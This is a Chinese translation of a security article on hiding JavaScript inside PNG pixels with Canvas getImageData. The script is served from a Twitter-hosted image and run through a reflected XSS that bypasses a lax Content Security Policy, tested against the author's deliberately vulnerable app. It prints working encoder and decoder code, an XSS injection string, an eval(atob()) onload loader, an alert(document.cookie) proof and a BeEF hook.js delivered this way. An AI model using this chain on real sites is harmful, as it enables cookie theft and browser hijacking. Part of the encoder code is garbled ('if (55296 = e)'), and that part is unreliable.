将一个恶意的JavaScript库隐藏到一个PNG图片中,并在twitter上发布,然后利用XSS攻击绕过其内容安全策略(CSP),将其包含在一个易受攻击的网站中。是不是觉得很科幻,本文我就将详细解锁这个过程。
使用HTML Canvas可以将任何JavaScript代码或整个库隐藏到一个PNG图片中,方法是将每个源代码字符转换为一个像素。然后,可以将图片上传到受信任的网站(如Twitter或Google)(通常由CSP列入白名单)最后将其作为远程图片加载到HTML文档中。最后,通过使用canvas getImageData方法,可以从图片中提取“隐藏的JavaScript”并执行它。有时这可能会导致绕过内容安全策略,使攻击者能够获取整个外部JavaScript库。
canvas元素标签强大之处在于可以直接在HTML上进行图形操作,具有极大的应用价值。canvas 可以实现对图像的像素操作,这就要说到 getImageData() 方法了。 ImageData 对象用来描述 canvas 区域隐含的像素数据,这个区域通过矩形表示,起始点为(sx, sy)、宽为sw、高为sh。
canvas getImageData() 方法的浏览器支持
Internet Explorer 9、Firefox、Opera、Chrome 以及 Safari 支持 getImageData() 方法。注意Internet Explorer 8 或更早的浏览器不支持。
canvas getImageData() 方法的定义和用法
getImageData() 方法返回 ImageData 对象,该对象拷贝了画布指定矩形的像素数据。
对于 ImageData 对象中的每个像素,都存在着四方面的信息,即 RGBA 值:
R - 红色 (0-255);
G - 绿色 (0-255);
B - 蓝色 (0-255);
A - alpha 通道 (0-255; 0 是透明的,255 是完全可见的);
color/alpha 以数组形式存在,并存储于 ImageData 对象的 data 属性中。
注意在操作完成数组中的 color/alpha 信息之后,你可以使用 putImageData() 方法将图像数据复制到画布上。
由于Content-Security-Policy响应头在防止XSS、clickjacking和其他代码注入攻击方面的效率,它被越来越多地使用。然而,许多网站配置laxy策略来避免误报和白名单整个域,而不是特定的资源,或使用不安全的内联或不安全的eval指令,这可能导致策略绕过。
在此,我推荐大家阅读Mike Parsons的一篇文章,他在这篇文章中详细展示了如何使用HTML Canvas将JavaScript代码“存储”到一个PNG图片中,在我看来,这可能是完美的CSP绕过技术,包括利用XSS的邪恶的JavaScript外部库脆弱性。全部使用CanvasRenderingContext2D方法putImageData和getImageData并使用String.charCodeAt表示隐藏文本字符串的每个字符。
Canvas 2D API的CanvasRenderingContext2D.putImageData()方法将给定ImageData对象中的数据绘制到画布上。如果提供了脏矩形(dirty rectangle ),则仅绘制该矩形中的像素,此方法不受画布转换矩阵的影响。
Canvas 2D API的CanvasRenderingContext2D方法getImageData()返回一个ImageData对象,该对象表示画布的指定部分的基础像素数据。此方法不受画布转换矩阵的影响,如果指定的矩形延伸到画布的边界之外,则画布外的像素在返回的ImageData对象中为透明的黑色。
使用Canvas在PNG图片中隐藏文本
下面是一个示例,你可以复制并粘贴到浏览器的JavaScript控制台,以从给定字符串开始创建一个PNG图片,例如:“Hello, World!”打开一个新标签页,转到about:blank,然后打开JavaScript控制台,粘贴以下代码:
(function() { function encode(a) { if (a.length) { var c = a.length, e = Math.ceil(Math.sqrt(c / 3)), f = e, g = document.createElement("canvas"), h = g.getContext("2d"); g.width = e, g.height = f; var j = h.getImageData(0, 0, e, f), k = j.data, l = 0; for (var m = 0; m < f; m++) for (var n = 0; n < e; n++) { var o = 4 * (m * e) + 4 * n, p = a[l++], q = a[l++], r = a[l++]; (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255) } return h.putImageData(j, 0, 0), h.canvas.toDataURL() } } var ord = function ord(a) { var c = a + "", e = c.charCodeAt(0); if (55296 = e) { if (1 === c.length) return e; var f = c.charCodeAt(1); return 1024 * (e - 55296) + (f - 56320) + 65536 } return 56320 = e ? e : e }, d = document, b = d.body, img = new Image; var stringenc = "Hello, World!"; img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img) })();
上面的代码使用putImageData方法创建一个图片,该方法将“Hello, World!”字符串的每组3个字符表示为每个像素的RGB级别(红色、绿色和蓝色)。在浏览器的控制台中运行后,你会在左上角看到一个小图片:
生成的图片(缩放x10)
就像我之前说的,上图的每个像素代表“隐藏字符串”的3个字符。使用charCodeAt函数,我可以将每个字符转换为0到65535之间的整数,代表其UTF-16代码单元。在单个像素中,第一个转换的字符用于红色通道,第二个字符用于绿色通道,最后一个字符用于蓝色通道。第四个值是在我们的示例中始终为255的alpha级别。如下所示:
r = "H".charCodeAt(0) g = "e".charCodeAt(0) b = "l".charCodeAt(0) a = 255 j.data = [r,g,b,a,...]
在以下架构中,我尝试更好地解释如何将字符串的字符分配到ImageData数组中:
现在我们有了一个表示“Hello, World!”字符串的PNG图片。你可以将以下代码复制并粘贴到JavaScript控制台中,以将生成的PNG图片转换为原始文本字符串:
t = document.getElementsByTagName("img")[0]; var s = String.fromCharCode, c = document.createElement("canvas"); var cs = c.style, cx = c.getContext("2d"), w = t.offsetWidth, h = t.offsetHeight; c.width = w; c.height = h; cs.width = w + "px"; cs.height = h + "px"; cx.drawImage(t, 0, 0); var x = cx.getImageData(0, 0, w, h).data; var a = "", l = x.length, p = -1; for (var i = 0; i < l; i += 4) { if (x[i + 0]) a += s(x[i + 0]); if (x[i + 1]) a += s(x[i + 1]); if (x[i + 2]) a += s(x[i + 2]); } console.log(a); document.getElementsByTagName("body")[0].innerHTML=a;
正如上面所看到的,JavaScript代码选择刚刚创建的图片元素,并使用getImageData将其转换为原始文本字符串。使用getImageData时,会发生这样的情况:你将获得一个ImageData对象,该对象的data属性包含一个大数组。如前所示,ImageData数组中每个像素都有四个元素:r、g、b和alpha。因此,该数组看起来像[pixel1R,pixel1G,pixel1B,pixel1Alpha,...,pixelNR,pixelNG,pixelNB,pixelNAlpha]。
利用易受攻击的网站
现在我们知道了如何将文本字符串“存储”到图片中,以及如何将该图片转换回其原始字符串。现在假设隐藏JavaScript代码而不是简单的文本字符串,然后将生成的PNG图片上载到Twitter。可以绕过内容安全性策略,即绕过Twitter的白名单图片,并可以利用XSS从“受信任的”来源加载JavaScript内容。
为此,我特意创建了一个脆弱的web应用程序,我将使用它来测试这项技术。webapp使用内容安全策略,防止加载外部JavaScript资源:
使用XSS攻击Webapp
如你所见,该应用程序使用了一个Content-Security-Policy,该策略允许来自“self”和Twitter的图片,并允许来自“self”、“inline”和“eval”的JavaScript。不幸的是,有许多网站配置了script-src指令,允许unsafe-inline和unsafe-eval来避免误报。而且,许多网站将整个域列入白名单,而不是将特定资源列入白名单。
如果你认为这种配置很少见,而且没有人在script-src指令上使用“unsafe-inline”和“unsafe-eval”,那么你就错了。通过最近抓取的Alexa Top钱100万排名,似乎有超过5000个网站在script-src或default-src指令上使用Content-Security-Policy和“unsafe-inline”和“unsafe-eval”:
该漏洞位于lang querystring参数上,该参数不能清除导致HTML注入和Reflected XSS的用户输入。要利用此测试Web应用程序上的XSS漏洞,我需要注入HTML语法以关闭src属性并添加SCRIPT标签,然后注入JavaScript代码,例如?lang =“>< script >alert(1)< /script >
之类的内容关闭src属性。
要包含来自Twitter的远程图片,我可以发送以下请求:
红色部分是恶意PNG图片的Twitter URL。蓝色部分是注入的id属性,以便更轻松地选择IMG标签。绿色部分是一个A标签,仅用于防止破坏HTML语法。现在,我需要注入几行JavaScript代码把图片转换成一个外部的JavaScript库并绕过CSP:
t = document.getElementById("jsimg"); var s = String.fromCharCode, c = document.createElement("canvas"); var cs = c.style, cx = c.getContext("2d"), w = t.offsetWidth, h = t.offsetHeight; c.width = w; c.height = h; cs.width = w + "px"; cs.height = h + "px"; cx.drawImage(t, 0, 0); var x = cx.getImageData(0, 0, w, h).data; var a = "", l = x.length, p = -1; for (var i = 0; i < l; i += 4) { if (x[i + 0]) a += s(x[i + 0]); if (x[i + 1]) a += s(x[i + 1]); if (x[i + 2]) a += s(x[i + 2]); } eval(a)
我已经将其编码为base64,现在在eval(atob("base64-encoded-js"))中使用它,并将其放入注入的onload属性中:
如下所示,变成橙色。
当发送整个有效载荷时,我会得到一个执行getImageData的错误消息,消息为“画布已被跨源数据污染”。
通过阅读文档,我的浏览器似乎故意在跨源加载图片时阻塞getImageData之类的方法。似乎我只需要注入crossorigin属性:
1. HTML为图片提供了跨域属性,该图片与适当的CORS标头结合使用,允许元素定义的从外部来源加载的图片在< img >元素定义的图像在< canvas >中使用,就好像它们是从当前源加载的一样。
2. 由于画布位图中的像素可能来自多种来源,包括从其他主机检索到的图片或视频,因此不可避免地会出现安全问题。一旦将任何未经CORS批准从其他来源加载的数据绘制到画布中,画布就会被污染。被污染的画布不再被认为是安全的,任何从画布中检索图片数据的尝试都会导致引发异常。如果外部内容的来源是HTML < img >或SVG< svg > 元素,则不允许尝试检索画布的内容。
幸运的是,Twitter向所有上传的图片添加了一个Access-Control-Allow-Origin:*,这意味着我只需要将crossorigin属性注入到IMG标签中并带有“anonymous”值即可。
通过将crossorigin属性注入值“anonymous”,所有功能均按预期工作,并且我成功执行了函数alert(document.cookie),如下图所示:
来自Twitter图片的警告(document.cookie)
以下是我使用的全部有效载荷:
具体示例过程,请点此动图查看。
转换BeEF hook.js
这是将BeEF的hook.js转换为PNG图片的测试,BeEF是一个浏览器开发框架,这是一个专注于Web浏览器的渗透测试工具。BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。我首先使用curl -s 'http://localhost:3000/hook.js' | base64 -w0对base64进行了编码,然后我创建了如图所示的图片。
hook.js PNG
从PNG图片中注入hook.js
从易受攻击的webapp收到的hook
总结
我能够绕过网站的内容安全策略,该网站加载隐藏在Twitter上上传的PNG图片中的外部JavaScript库。 之所以可能这样做,是因为CSP过于宽松,并且Twitter向所有上传的图片发送了通配符访问源响应标头。我猜想同样的技术也可以在许多其他社交网络上很好地工作,这就是为什么你永远不要在CSP上使用“unsafe-inline”和“unsafe-eval”指令的原因。
本文翻译自:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/如若转载,请注明原文地址: